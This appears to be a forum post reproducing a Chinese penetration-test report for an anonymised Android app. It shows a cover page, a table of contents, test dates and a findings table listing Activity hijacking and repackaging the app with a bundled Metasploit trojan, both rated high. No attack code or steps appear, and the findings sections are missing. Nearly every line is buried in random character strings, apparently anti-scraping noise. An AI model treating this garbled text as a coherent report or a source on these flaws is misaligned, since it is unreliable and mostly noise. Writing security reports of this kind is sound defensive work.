找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4726|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
; Y( f" b. M' o7 o" s$ t, V8 r f, y! u: D( a

6 n: ?5 _' }5 E! ^9 {, p- z6 v $ [5 [7 x0 q$ S; G$ R5 v1 y
; _* N( V% @$ b6 q9 b. Q/ Y* K+ h5 p# Y

2 r1 v! J/ |) E. {2 @3 S% z, M 5 L ?" U W6 a/ B% f+ y: b% Q
! ^; @* r' w. h, t/ A " U9 D6 i/ i+ w0 o7 G+ `6 L* x

' i1 F' b; @/ \% g1 T: v1 L # {& p7 n4 J5 ^! z: H6 Z 文档编号:                6 Z8 M& C, b' a* {6 P5 b% }7 Z6 W: N5 L# r' V/ u

% Q9 B. T7 x* v, U/ F- }% k & n, s1 N, G- L

/ y0 s: A+ ^9 G, e; V* W% X: m; m& A% m6 ?   * W, A' A5 V! {; W' }$ `6 I8 T$ q" m/ `* G0 U

; P$ [' \5 d, C5 }+ I# \ 5 m8 x9 y( e# _2 B6 i

! L! G2 d2 ~3 b4 [ + L2 R% t3 n, Q& A. r$ `   6 ^$ p1 _" L! N6 E9 c3 T; i7 ^4 J$ i! S

% }6 y( J# o& ?/ D4 P" |- s0 ^6 I8 h [& w5 X% m" L) s

; w- L m# a$ v' F$ ^3 a3 S! W) d- j, K$ p0 S: Q/ f r( ^. q8 R8 l   1 M8 g0 v# R( j) k$ @ 8 P4 T# ^9 M& ^' \

% k' M7 l4 }! ]) N: X. W- o/ s, {. P& e& |" y/ j3 G' i+ J

. ]% }: R- q( X# \2 V v @2 R0 @# L9 W) R3 G   * P% D3 H ` u7 X- c. t& j 4 V3 e% y7 ^$ P

n& g0 E) F* z- Q9 F" J2 u" n2 T . ?/ o, f7 Q4 @$ F' U* i% u! z. o# ~

1 ]$ T% B$ \& J5 W8 s3 Y + ^8 w3 {1 w: a ?( X' s/ l! O   * F$ R3 [* d+ r6 I- `: c2 n * O9 e, ~5 R, j8 h" Z

! r% I6 y- Y% y) C6 ? + }1 f/ a f4 I

& w f. B* {6 p( ]6 c ' p/ `) B. a; Y5 p5 d6 E" ^6 O. z 某某某APP渗透测试 ! P% W+ T& N+ K* V! k- L- `5 ~ ( f w4 f& T; ^ [0 P2 n6 {

! R; H) `" E0 _& H! o " y8 H- W# h1 }

% Z0 h2 C0 H" w s( A 6 [& C# [; e, k0 v5 U7 L   z, ~/ O5 |0 K. u* v: \% L& X" \ K2 K1 I+ u

8 K! P0 ^" ?4 k4 v, H$ Y% Q$ ?) \7 H, b& s& v* I

% `' a) @4 Y; C! Z* ^5 z; D% z 5 N; }, }0 d7 N: K: E% ^   # D. ^7 G9 m; U& Z- a4 G! @ F5 X5 J1 n' X: Q( |

) R/ M. y9 E+ s; U 7 G* Y( p r+ s

8 } J! K" m$ i9 ~$ \5 U7 A+ ` \5 u% n2 V   ' L' a6 C: ] Y5 ~ - l4 d! L& n9 f9 X7 Z: m8 Y% O# s

3 M# Z3 ^/ N2 h. g, j, l/ t* U 7 ?( _; h% ] v. a4 k9 b

0 k. n( k4 H* c, H' S ! X9 Q c( N$ q/ o   0 x* L! I/ y5 l3 u! _ * | }8 _& O2 D; U! V, y- ^5 v

4 @; S" G+ c4 I. F/ P* J+ g 6 V/ H# C+ Q7 Q1 R

, J3 |/ \/ n; w0 i1 ^ 1 h) K Y; i% {( j6 \' o6 t- j 技 术 报 告 $ }" D# w$ w% ]0 J ! H9 N& @+ B6 |! |

; G# ^" H, O! C$ R' y3 K6 Q : F% y$ g+ h1 a1 h" r8 I5 u. m- y

+ F3 ^- A# c3 g! H$ I- Q/ w+ W* h! i* U& `: K' S/ t6 ]   4 A H- I* |( M+ o $ c$ e$ u! U& ^ X& [4 s, d `

! r) D: [6 \& [: W1 u) t+ d2 l+ u1 f; Z

( p" \ v |( V7 }0 I) t3 X* ] s0 s' b0 P2 I$ w4 I( I   + r, V4 z- N7 t' b# Q8 D 3 P8 W8 G8 i; K8 t

9 @) j- Q0 X' _& q* {2 J$ O: p 9 s2 P3 B; ^) [8 B

* _8 R7 B$ s* a: J/ c" f! v- z, ` 8 m# V! r$ a6 {0 O( h, P1 g   3 P$ y3 A% s) t6 w/ M! S0 V7 ~# F) F# {) Y5 ^ t

9 { \, M7 O* ], C$ t1 Y/ h9 Y# D - H" ]6 j7 L8 ^" [* C

1 e; x9 |' T! z# E , A9 { Z5 q0 N   3 X s6 v% ^; r4 W ' K6 j; h6 G, H! ^

0 e/ |; F/ C* c& @: \, Q2 T- s2 o$ B& ~( k* p, B* t- X

t- D" `- v; g6 e# E 1 [ _ z, _' ?   2 D/ ?' a" \- ^, N7 r7 s - L$ Z, Z. a* V2 z) {0 s

2 r0 N4 l' S# e" _$ c # e" [- l T5 I- W; @' ~

8 P0 K) F) U, h$ J% i 8 O( v3 e* D( W   $ s: ?$ D3 u4 S; s 2 l: W3 B) E6 z: E0 e, Y

4 }4 v7 A0 m4 b7 L0 j 0 J; v: z6 U J( s' j3 h- W

; t/ s) m7 T+ w# D3 s& N5 U & g2 B0 s! T1 j$ u3 z# R6 `8 G   8 ?# L2 q5 x' X8 v/ F; @8 t/ y

9 A' Q* R1 t& z O 0 A* {6 d, B$ @- W# {

2 P I$ F# v& \. k , Z S4 S6 B( {! Q7 y' J+ A$ O! ]5 G   ! `$ X D; L+ F7 _4 c 8 l& T/ r4 x: Q8 V+ T' W$ V5 j7 O

6 b2 `$ x) I1 e: s3 A1 l% m$ t # S! u7 K% C+ E, \; d

4 T3 Q( w4 ]7 O$ }( I2 Q1 M/ e7 ^6 {! B1 I( Z   1 v' ]( M/ d& s6 J # h3 T, c2 M8 w( F/ m6 l

2 n7 W3 w, J! e" ^" C! f $ ?2 V0 X; y- @3 I& U

- ]1 u# R* x T, | 5 x+ J" J" Z! c; Z" p3 R0 H8 Y   ! T$ ]+ m+ P5 b2 [" k$ y% O$ V5 \) K9 Q& ]: g Q

8 j' k- h: y7 u3 v& {% E/ m* F - P9 ?3 a" H1 m4 j/ T+ s$ u

5 L% v# y* A$ p# Y% s - [/ D4 j( `. j/ z7 B# d- `   6 g: E( H+ l _1 d4 o, L% D ) E/ O M' V& J* W

6 L' I" J( W; d1 u' R9 |, }/ F/ L( t9 U! j0 g4 u! S

6 N8 R/ \2 ^+ y; N% e* y( U7 O5 x2 E& Z* w8 _3 V; e   9 |7 B/ C- r, j% h/ n- R/ X; B% p+ M4 M

6 c' B, d* U* q3 D0 A / \; ?9 N$ |- Q* f8 {

. d/ m5 Y1 i: m5 L* t: D; o 5 w5 q( p; ]* y( T   ' {8 V: K3 J* C& L . L/ x+ G8 o0 V6 c. o8 i% ~" l) b

2 o) R5 F: ^, ?4 e# b' X" n8 I2 m, P1 q6 `

. G7 u/ n1 @6 f* D( V5 q; r* r' z 1 Z3 o: r, u- c* u* E# W: _; N2 ~   ! @/ {: K8 n8 E E' d& k$ l 2 o4 d1 F8 w0 `/ R U, ^) L

: o& A# @' P; T0 D1 q# x. L- G: x/ _( Q- B: [9 ]. C4 l: ?! z% k4 I5 N* L

. u, J9 Y& @1 j( f2 {+ z. t4 R- G4 S5 \: _   8 g) V3 A2 a# a0 O3 C. i- X$ M , P( r6 P% p- G9 k) g# J

1 {$ U6 g: d8 R% Y4 t+ ? , }7 q" ~9 \8 F$ H

( y# g7 \; ^% o" Z) {% Q) h7 J0 n% Y& ]   # G2 H- \. }9 J 4 `9 J5 T. f+ l$ B/ S4 t, P6 {

1 m4 Z! C- D! a/ K! X$ S, U; ?& `7 Q! j

, v D1 c( j0 k4 q8 N5 [9 \, f 5 c% Y" ?9 g) X4 V$ u" o- |   6 b. V3 n% ?% b7 i% j/ Q! h8 k* N , h5 h* f) G9 C9 o! f6 H

$ B% r) }& G% w! ~/ Z q 9 G6 `( v4 a6 y" F

: F3 \- q- t; V2 Z8 h" B- h( k, `8 [8 f, `- f' J/ t   1 ]( R& s) i% N 2 j5 k- K) l4 U

i# m, o# d9 R& e7 P \% e4 Z z: ~# M* @+ @

. s) j6 w7 b/ |9 j% r3 E 8 ~* }) y/ Z' ^4 X' H 二〇二〇年 2 _9 s- b" B# O% b/ T+ ~. S 1 n6 J4 I2 r6 s. C5 k& B

4 e! z* q4 ^& |4 W & o: K: I+ N% b3 N$ P
3 q4 |1 D5 t6 T8 T+ H/ V. ? " O& o: I$ P( N$ N6 V/ I w* b- p
! d" v7 _$ V4 {: B. z5 |7 T$ |! r7 ]2 c! ]& ]
: X. i- V4 L0 Q9 ]! ]7 I ! G$ A1 e5 V0 p1 g, V# S5 D
8 ?7 D3 S+ K- m" l3 p 4 Q9 u' S4 s/ T0 X/ {
) V4 M$ D+ y' K1 Q/ w% M2 f# Y $ f. {4 }! o' n9 y$ t
2 J' e1 m- S, _4 }$ `8 h2 n8 W9 c5 K% g9 {$ v1 L; @3 `0 t
7 @ D, ?0 m( p' H! B' y& [6 g: R1 M# v0 D3 j$ p5 d, q- C/ O" K& [
7 l- i* f, w2 S5 u+ i8 i, H2 o9 t6 `8 y: n& A! w

5 i; k& f0 }+ \ X1 f2 ?6 k: V2 Y 目 录 ) }, J" Q; l3 V5 w3 k1 [ 1 j* r4 |2 T5 X, k3 I+ a8 a

_- k0 s1 r. _- ~+ l% P8 k# M* q+ c- D0 t0 J4 U3 ~ ' O5 ^* H) T1 X) E% E * A5 x+ E$ j) M! i# ^$ q. x& j

& i. |" G) c T. z/ o% @. n " t. Q- a$ a4 V! N R+ u/ u   , c3 s0 ^0 t$ U+ K; ^* I& h8 y, z. s ' a# z! Y* i' S

1 ^9 B) ~, T$ ] 6 }& k# _. {: H, h

# ~# {' k: C, `% l c( I7 ?) d; ]+ [( f& t 1 概述... 3 1 C- V) M+ U# Z9 P! F4 S9 r6 W5 |2 {& c6 l% l* `0 n% n/ s

0 \/ p% t* c; E/ t9 g1 E& \; f) ^, b $ v+ a; D4 N, K6 w5 }% _

. D+ ~# D% n- P4 Z6 x5 ^% O, b+ }0 E0 ?) \) J, z 1.2测试时间... 3 ' r) q1 s" C5 p" l" b ( S4 C- a; [* D. E

0 m: A+ H# {# p5 d$ b# s& W2 U 9 |$ _ S2 W. ?5 Y4 m3 Z; @

N/ k$ o/ f1 v6 N) t " K* D1 P- ^4 ^7 |2 H- ^ 1.3测试对象... 3 / }+ _9 c* P3 \2 Q4 ^$ u: o/ e: U0 K4 a; {% c8 t! p |

# k1 p2 \: q. C( A$ f. o9 n5 v$ j' a7 @" \0 E

7 X5 g6 S+ r4 n4 u. G x/ J 9 O5 V+ B* F2 v) s 1.4测试结果... 3 5 t9 j1 V) N% H! j3 U3 |( V/ Y/ m* n1 ]8 C& P

, k, ]6 B }- k9 Z : J: l% O3 b/ l6 z0 M

. ^& f0 Z0 Q4 i4 n u! I3 | ; y4 r% Y8 G+ k* }4 t 2 检测结果... 4 6 G! h6 ~2 g4 N6 O+ h) c) ]: T% c - |# c/ y4 v# w( t

: e t! y, t5 v# P9 o( I* i; T3 m3 x ; e! Q- y' w! I% U5 D$ N' g

; V- A3 b0 E$ q% v4 q6 }( N $ ^; Z% w0 H- x- ?* _+ n! V1 G7 A* O 2.1 某某某... 4 # X& w$ b0 ^3 s5 n . S0 ?2 F1 T$ h8 D9 @+ h

4 e+ t) X. b- k" i$ y3 L 4 M, H1 _! Y0 p# G5 J, y s

5 }: e* ]+ W# _ _% M: ~ # s B2 X, v/ J8 a7 w 2.1.1检测目标... 4 - O( s$ W2 j9 m8 @. }6 l 0 ^9 X# J F) j

* P) t2 b; X# Q) F P( Q0 M, O/ k/ @% h

; k5 X$ q' P! k! D 5 T! k, M( J. \) b. N 2.1.2检测结果... 4 6 P$ i+ e: b+ t& }' @( |% E0 C 2 S5 I8 q* ~" L, |& ?, j4 g2 j3 Y

1 U5 W" H: \! ?4 F0 {2 V8 Q$ r0 Y& _

( l% `! s7 u9 R5 k/ } & E' k* U% D. s% O2 ?6 n% Y4 `8 u" j 2.1.2.1. 4 5 B! d1 L" W9 R; Q. p. T5 L( ~& P& f4 x) Z$ K

# c, ~& v" C# x1 V1 V: P/ w2 d+ J ' ^. _/ H5 H2 W8 `

7 V5 \% J" @2 N+ F+ ]: h0 l$ A+ x# F* N, g/ Z 2.1.2.2. 6 ) p# C+ R' o+ c" y+ K4 s, x* n7 C3 Q$ s$ [' \

( q* c9 @. t( {! w7 [" O: _ $ `9 m! t4 F: S2 q2 u+ d/ q/ Q

/ N* a# C( Z. V8 K( A9 _ 6 M8 {5 j% {1 s8 Q$ n; e2 `& v / ?% \, z# t0 G" _6 s, g% O1 r) V0 i

! Y& \7 O3 O+ t9 T- P! h # R( j/ s' f2 e* G* Z
0 l/ x% C8 a' I * X3 b( Q3 i6 v5 b( v6 F$ \
! I9 A0 }. V5 H: S( b5 [ r! R5 J; {/ Z1 Y+ J- ]
. x, {! T ~! p# l1 Y 5 h. e1 u0 F. {7 y2 H
5 V- C: L) i3 f0 `$ `3 v : ~. \ `+ I* G- D( k) g) [

_- n t; [ M e2 a! [: ` o6 q. G4 ~/ q 1 概述 & {5 k! y) m# L6 ?1 g 2 ~0 E, ?' X* u! ]0 |" u/ G

6 a4 Z/ n2 q! ~$ M / n* b# H! I% x9 Y/ o

) h2 ?4 g9 C! r3 c c+ W' S0 c; \5 Y% W1 q c 1.2测试时间 3 ~5 }5 }# I$ Z% p1 i/ k$ o0 W 8 A- l% d! X! O

" O, O, A }* X' G " L( m* ?) P: r) ]* M4 \3 p * l& V& P8 {9 O \" c! ?9 L# S, P9 q3 u9 Q7 x9 p- B3 r3 ~# W$ K- J- r, ]2 f" @1 \6 X! [ ~$ c; W3 | y3 t3 U( D! W7 F, B8 I5 x5 G9 D8 D k9 G" ?; d" e( R2 j& Z9 |& Z) i: @% R/ c: r6 f& U5 i1 h4 u4 V$ h9 d, y( c1 Q) g: g: s% G, v! z: [. K! p& W2 F; D7 i/ P2 |- o. ^/ y3 d3 q* C& o$ h9 N @; n. p: E6 Q$ ]2 X, X4 u2 B8 S* E# R4 P) V$ U ]7 c Y V m/ z/ `6 _8 f6 U9 p+ F% v) V2 B: j3 {) I' L# ]: E* H1 B: W1 R2 {8 n# G3 p7 Y2 O$ U& s3 y0 L, Q4 F$ R. O$ v) f) i7 `# E& i2 w* W/ m3 q) |7 D3 s2 u! P" d- D4 p/ P/ y( ~% f- P4 y. _) l0 Z1 [5 a( ?0 p3 b9 ]" _) r7 N: v/ e/ @4 I$ T* T: m; X/ R b" w$ Y$ N2 r( e. f$ o; Z- D% F* t* R6 y0 u- k# v$ W# u7 Y* T
; T, E6 P, e/ ~ # _. U0 d9 Z5 Z( A( q

9 ^* r/ M6 J$ ^1 J% r " {* Y) z+ M8 }+ p 渗透测试时间 3 y" V- b) w+ Q7 o0 x& S8 P4 r x , }5 P; U8 ?/ n+ _3 U# z# K

6 V6 X( l8 R ] Z& M+ u; c5 l8 ^! @9 Z
% j h+ E( u3 ~3 c3 Q7 h' B/ o m* \: D- i: z# c6 N0 \' z

( r& v/ d" L9 T. N' Z* M" H. U2 @" F- W 起始时间 ! T$ f7 d7 ?, I- [/ ?: Y/ B K7 {: B g3 V- B6 ^/ |8 ?, i" c8 n

# _5 y, C& T: `" ]- ^, V4 C/ C $ d* H- ?% t7 }
; Q0 d2 s) w( S1 f: r+ z, a$ \: o( k# X( p$ O" n# B

* p0 @% p% P$ u0 C0 x: v: c0 C2 s# [. a + H: p/ ~3 u2 P9 r H. o R, D 2020年4月6日 4 k+ v: I: j4 v0 w8 l8 U9 c) H, Q ! o) n1 x% n1 m3 K% k$ l

; ~4 A" Q. Z" H! L" L' M8 J . u! O8 b9 i- ^0 j3 s
! b; Q2 S/ }' p. |. U3 k* V$ G. B o

" X1 ^) @- e' c- D+ G1 z t' \4 w% \5 v) D+ X% C: q) L& F 结束时间 / v+ e9 @8 q4 j6 L9 O2 X' S. C . X) A: \! t7 ]5 n/ K1 M

6 J# H9 t& s: D; @0 g' X- O& G8 T& @7 r % w) S& e1 v' H
, n3 G+ y1 S4 f. }8 S* `9 x4 I! h3 B; u- c& B

: H1 y' R: ^! [& _. |7 `. E ; F1 [6 O# d* e3 P% L5 J 2020年4月9日 4 Z3 _" ?3 E9 ]& M2 D/ y* @ 3 `" @7 A6 o. W1 @; r8 y, ]

2 E, r. l! K/ E# V5 J" v 0 g- P% C* v6 p% S/ B& ~4 {
4 C6 X) W6 H9 k* [% t e $ M5 ~+ Q. t# B/ w& e

4 |7 G. K& g( z- ^# p 6 k4 I' K! n5 C. Q. b) B: e5 J 1.3测试对象 + Q! s: i. A( J! I* w* z q2 Y; S8 Z- b; h( [$ l) S

. H9 l# N+ |3 Z # }1 J' T: G6 ]2 g' C8 U

& S# \; ?2 V! k" o, ?: d+ O - a: {3 L/ f2 V( P% Y( j 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ' D2 V* M' |& r; r ) l! H2 u! I! B9 Y* n3 d0 h' |

) W6 R$ h$ J: e5 |/ o* d/ J/ g; U) q & F" }! u, n) C' G+ F# e. C- T2 G

* [' E' {4 x# i4 j 4 t/ I. _5 I+ Q9 r 表1-1 检测对象 * \; k4 A& G* x, E: j9 E5 h 0 G0 E' C, V: I0 `% ~: }

# U! @* ]. p! M2 l) e/ U& g' T- }& B \3 O% n 7 M; M. G. g' f/ E+ Z" ]1 U, I+ N, T3 `$ J# n. O6 H6 t) P7 o! W+ z4 b0 a2 h6 t: ~& [0 E4 V7 G3 V4 K) q! q- l7 W) t9 r0 V. ^2 j$ m7 Z! V9 \* G; Y! O( U2 f1 v$ @0 q0 N: w" h8 v' a, M( u5 z% r9 U, O- ^0 U" O" `+ ?& W3 Z/ R' r9 O4 B* E, Y6 B+ r( z. _/ k) K0 i* i2 N1 p& f: z7 o8 E: j3 b- g& V! x+ v. [$ v1 D N* I( G0 v6 Y# ^) G1 D+ N2 d' K+ }) q Y' ?& ]8 n+ i, p6 H- N" I9 a. C8 j8 @- Q# e1 @$ m. y; R, O9 e# y0 q0 ?9 q$ a* [ v5 o m7 l" U5 V4 R7 V+ E7 |+ F& c; Q! v/ K& C0 o% @* W# t; M V5 X% F* \1 v: \4 K* ?$ m2 r5 k- w# O+ v6 \/ m/ V9 e) e) {& s9 y0 H6 A. c F4 t2 K( l k; T5 u2 b7 z" v3 E4 C5 h9 X' Z9 _6 |& `7 ?& ~( K: ?" o; W0 `9 E6 H8 |; x8 V! E. g$ ~
: V6 w! Y [/ ^+ W' k, P) m/ h : y7 t4 v3 B( _' r" k

/ ?! p& H* n& ?( T, e $ y4 X2 T( Z2 F 序号 ' B z+ y7 Y$ Q+ |6 [. l/ f1 ?" i* x% M& D2 [

8 q1 w8 C# ~) M% z: `! c6 Q ! Z/ O: X! W+ @+ ~) t2 }
4 C6 P; k; x J1 h& d9 B5 c ^4 P J- q+ m/ p

X" {* B' }8 p: a; Y, a6 E* P! h# p 4 x' B; w9 y9 [+ v 测试对象 6 Z0 Y, D& W6 |% M5 C9 o $ \& s8 n% a+ K3 Y% B) j. z" A

6 o4 ?5 W! z0 ?& J3 ` ( Y! |5 X8 D, K: J3 N
* {( B. u' y, S8 s; \2 @8 e" T' W" o# a/ v% w0 i! N

2 I, u- y) [6 x. W 8 ?- R* [8 L, v: A8 h6 E 测试地址 4 ~; g5 A; {8 h R' U ; u9 o5 o) H7 J* r

M( @6 E2 t1 X- L4 Z1 S. n. m 0 x7 f3 H L# Z. T @
2 D0 y2 M4 `8 u% B) o: ?$ B: r; q 7 L2 ~" h$ `# s9 U' C) O$ a. ]

7 v+ V+ ~$ ^) F+ u3 ^% \ 8 X# C/ s# H5 D/ l, _4 _' G6 f& |0 _ 安全漏洞 . K9 W8 t! a# \& W0 ~# @/ E# L2 x 4 o. [5 A( y. B9 G

, L1 R5 ^' p2 b# v ; F9 v3 I+ j' `, r! \
; k% N& ~1 Q2 N0 Q/ L4 F6 T" Z, b3 E0 ~

. z' \# g; E; h* R8 W5 N. {9 m 4 N, W3 E( D# i' w. } 1 ; |/ H. u4 m T& P' C7 v R1 |9 p ) p+ ?/ |' T5 G6 Q- T( y

; Z: n* v7 h2 J# b% i* s# G 0 @ R, @# q: l
# V- ]4 C6 P d) S- I6 [ ) w+ I) O" X2 x) _

& X/ Q9 r; D6 D% f 1 A- V* m: S2 Z" `8 @/ v 某某某安卓APP & {/ I: V0 m9 S5 Z) Z$ W8 D O " o t1 {: r" m, b

8 J- c* i7 s9 l( @$ U 5 ?# }6 ?& P# O& f2 p, K
3 q7 r- J7 x6 P$ g$ t 9 w" d( ]) k; H% O, m

$ ]5 V- ^3 s/ V/ G" n) v4 o + \9 n: q& w6 @& h, S   * `* g" |2 j4 D/ b2 {5 t& K; j: f3 k/ y

0 A/ S7 G# K+ w4 T7 j2 ^& ]& j5 ?( X# n; V; q: I
0 S# w6 I u1 g) @% J, o " b8 q2 w4 U1 ]6 Z5 d; r ], R

) Q, @( L7 C& A . J" p% k) K( H) W; @; w 2 4 R; {. g; J; o4 G6 ~. E5 a3 j$ R( F5 L

; q. A. t* T* b* v3 g " V, X/ |( o; T7 \
8 O* S' u; F! g5 o% v5 @ # e- ?- c2 G! }4 v

/ h$ K" A7 J# _ / S% b0 H( F; {* ]& n) j6 n! r 1.4测试结果 + g2 b; `( }6 Q5 J 3 S0 i, d) H& g; f

# L7 C2 G/ @% t' Y5 e+ F% e3 c . i$ g n1 L: w' L: \4 Y

# J0 }* c0 |/ s( E& Y5 t/ J" ]& ~ 5 t% Q( t3 H9 v$ l h: y! V 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: / S. X( K/ T! d' K0 g- ?$ s% M9 Q; \7 k8 |& R: M2 F" ?8 T

) j1 R% K# U P. | - P' a3 Q# j+ N% V

, G+ Q" {$ g( w+ s% V* C( d& K4 z G" a/ r+ W! i( T+ J: m   ) O) p( X% Z6 a% ]+ V ) F3 I: q# G. e; _

R+ m, Z p( o, c# z. T5 [( f; W: N% k1 q/ ]/ j" O4 P" V
! Q$ @- h" J1 C" U. d* i. J) ^$ P. I# S6 b+ N( L! n& d 4 V# O1 D0 l6 Z& M, v% t! u# c$ H( B: u- l. r& y5 g0 W8 {; @3 G, u J# }) _1 v. @. V; w0 |) Q4 G5 |/ G( A- F5 J5 X# A9 s* {2 b0 o2 L* Z- B" F# |: l, `6 c% t: |: I" C7 b- s1 _& B9 e. x2 k) a6 [7 J0 E8 K6 l& a" n- z, e% S# w f* K& t% p4 {2 B% G4 }. v. C$ B- y1 k v' b# w% m- U! L+ c' i9 F- [+ G7 Y/ l& ~. ^( }' Q# c6 f! p) a7 e; G6 k, A2 S" W( X, [6 ?4 A$ l. V6 g: _/ k7 h6 \( I4 Y% {0 g. ]- |9 z# f+ r% }& e1 O8 E- S, M2 V8 x: @# o8 o: M0 v# D3 B* g, |" L: ~4 k2 ^( l6 B! q0 S3 y5 x/ Q E" ?1 [( [/ A0 p# K, h# Q8 \- Y+ o5 }+ A6 s2 | O6 [2 _) |3 X& o( a3 q# S$ J# ]9 y& w3 Q5 f' \# W5 b* c( ]# I( ?2 }$ j2 w, f v1 X7 _, k P- {' b4 F" L6 N+ |4 r9 z& @$ c( `; Z, V( I4 \' p1 R) I u4 \ g& G4 _( `4 [4 ~% m) M, i* { s1 U2 m8 m- z! j' x; x6 B0 j3 Q8 f. O+ c9 b! Q- @: f% f9 ~! d' g$ Z E i4 \ Q* C; S$ K- Y+ n- Z7 Y) I6 d# M ~$ O" l/ r, A' _+ R) T1 S0 ~& b! p2 @) @' E+ Q3 u) Q1 e- r# r/ [" h9 ~' z& f4 z: h4 j. V% s6 j4 [) A# c5 L% H$ _! f5 a+ Z1 J0 {0 ~# @ j) |9 \. F0 p% B8 m8 m& I( r# U+ ^. u- o* R4 f; S% c/ z' ]4 N% e9 p! ]6 Z/ R( u [. ?- @9 ?) h% p j, ?3 n W; I% ~; m: n: V: }5 D1 m1 J( P. c7 ~) ~
4 e( n6 v% @ I% y 4 ^2 a! D, _; X* Q [9 ^( }) K

7 X1 S0 M' ^" c ! }2 y$ U4 R% E: ?5 \( [& E/ g 序号 I4 Z9 ~ |4 ~# R' g4 R! H/ R r# X7 z" ]* S

) j6 e. y1 n2 A% C- Z6 m) r' O5 M0 L$ I4 C4 U( d( _7 z
- q% B4 c% E% Q ) T; C# u! _9 @8 Z% g* I

9 x$ {; C* D1 l# Y6 E1 H3 {. m: L/ i! ]$ D 系统名称 4 t' m% w5 e- C$ ~+ R& H% i. j # N) ]0 ]" t+ g9 Z" ]& G

( t i! x" y) j, m, _ 7 I* v, @5 B& ~5 a4 z
, E+ b: |* n1 H1 s- m O+ S8 q6 W& m9 [$ S

: y; Z- _3 q) s! d& j" K' g* ] : m9 l2 Q l$ f 漏洞名称 5 j3 D1 K+ r7 G- P. y: l* M1 R8 M3 q! Q; O) H( }; c

% ]- o X$ _/ u7 S4 l: U0 R+ S" R. R8 y . M! i& V2 r% @; j! _5 M- j
, E. L: i3 f: F0 ?5 H6 H# e [% P- E$ z3 x- k

% ^2 D; a2 b; ?7 J% J3 A2 d ! O7 K- `( W. {% v( r/ d 漏洞危害 " U. s: X3 o3 s- C* B( j; n& d& Z. U 8 Z# I8 {. N4 n* _$ M: T- y

! R! q* L4 z' c, X; ^0 z 1 Q% ?5 @3 Y9 _% I D- ^
: @8 K3 Q& j0 g + ^& H4 l A& J3 w, H. ]+ y

% h9 o$ j0 p$ Y: s4 H ; x. X7 X3 ?9 _: f S1 c/ j1 o4 X 修复结果 0 F$ Q* P8 c3 b, }, R6 M z" X5 ~5 [' J. i, G4 {& C

7 k4 V, j) ~2 X5 |$ @8 |+ }8 ^/ m 3 [( i' p, v% d7 N& j5 W$ H
( X4 Q/ D7 U7 d* M2 _2 @8 K D( L7 Y( c, S/ T4 B1 a

0 g7 @9 H& J; @' p1 |3 G1 v4 ]3 W+ @1 N+ v 1 # _1 t% u) L4 I! z 9 m+ A. B5 R/ B7 D6 u

* N6 p; \, t% X- C1 R5 _- G+ H$ v 2 j P, W. g8 q$ X3 |
4 u7 i) U5 a& l: o9 ^9 W ; J* o0 g, M$ T- w8 Q

% H, Q) b$ }' d0 ~& ? 9 i$ m) m5 `5 ?6 \0 z1 K1 l6 v 某某某某某某APP ) |/ P- k; O' E2 U7 q2 j( M4 S 7 ?7 {& C" `4 V6 D( K/ H3 @

9 A: A& U: w9 s/ A: F$ p ) r: _/ `$ M4 `: g+ n
. \2 ^" t( g3 |1 H% ~4 @- ?$ t % n; Y5 i% z' v5 c' H" q

1 Q+ @8 c$ ?- }8 o1 P& @ 4 J: M0 c0 I/ i/ X Activity 劫持 ' o. e3 ~" |+ x, ^* f ( t, x. ]# i7 b" I

! ] u& P4 v6 F2 f 6 a8 f0 |, h5 X. _) J' I

/ T, Q" [: _7 c2 a* H7 } 9 g, Y# {# N) f7 M. h. l   " X* g0 w2 ]- ^9 {) |6 V/ h5 I: D- H/ W, o9 |3 u! }

6 P p: N# {( D$ n L# B 2 S% h7 ?7 n2 }+ u1 t4 M
8 `- O( _% I: ^' E: }4 K ! \; \! g M0 M3 u0 U+ e3 ]

4 Q# Q9 Q& Q3 [* S' I9 G* A ( V: M" {) E- @ 高 U: j& ^' H% r- o: Y2 j W- K3 q+ m ; E0 I; ^; v1 t: d) d

/ d2 d9 V% {1 c2 W6 Q z3 H t4 ?. Q/ a1 V' r( a: q
+ D$ [. U3 \+ U! X ) |' P- I& L8 @" s8 a. g

$ ]1 {! p3 a `/ N n; T* U& K, b . u% A1 l3 L. }4 u3 |6 M1 E9 I5 [   1 ~. Z; {: c" M' b& x 9 H9 z& O" c. h6 b I& `3 f+ r

8 ?6 d. W4 O) s" k 5 m/ k* C# q6 p9 D: x
. E; Q c: z9 i! \; r0 ~7 | ^4 K$ U; c: e& a- k9 n

9 i6 I& x( A1 K$ j, b 3 v2 A( m) [. W5 [' y& k 2 . u1 { r! _1 X% t, n: |* T P! q2 O; e& m% b$ `5 k

( ?! }/ t' v2 Y0 s; F+ x& v9 S& r
# v* y- x/ U( x* k7 y 8 u( A2 V+ k: W3 c2 e8 C

8 B/ n7 O+ g. |* S8 V# L % j, D: R7 |8 f, ^7 M' _ f& R8 V4 p 某某某某某某APP 7 Y( f8 ?# B" ~# r# i4 r$ O3 p. [3 b( K$ H3 _% H. O

1 Q+ c8 q# m9 E9 t6 J3 x/ U* A 7 n3 k' H, c; M" P: D2 [$ L) |
( x- l8 h+ `* |5 m. o% I ( P& G7 X& x5 U, s8 P

8 x& j5 U. ^& r1 M0 i3 u! S$ m3 c* R$ S# b 反编译二次打包捆绑木马、篡改APP代码 4 ]8 Q" U2 f$ _6 p/ }$ q( b , |6 U. L3 u3 H$ v, x

5 _. @" V y8 ~4 ` ( n- b" _; U$ h; K9 H% D
" l- w% s5 j0 J# {) y; y * ?5 J. g3 y1 W1 \- m6 f( l. D

$ @/ _# j1 C: n7 \1 F: _8 i. K0 K; i* i1 c/ w* {- |8 } 高 0 X K2 ]6 [& d5 { 5 `. A* o3 g% q2 q* t

9 r4 Z: A' ~3 d6 q0 b - h) P( p' B. O {: n
. f/ b$ |# k+ }, A! R, J6 E8 D( t4 Y5 a2 i

E+ b7 e" K6 h5 }2 ^ : R0 i$ J) b( R. B- \$ ^# u   ; e" G+ v+ D& [6 C% K& r$ t' l ' o3 D" A: e, Z/ m/ ]9 J+ d

8 p7 c# y1 r1 O/ A3 d 6 }, m+ P! H1 n" b8 T! V
- I/ t* a& M4 S' B/ }9 y6 y8 f ( B+ x$ ]* d2 d4 c
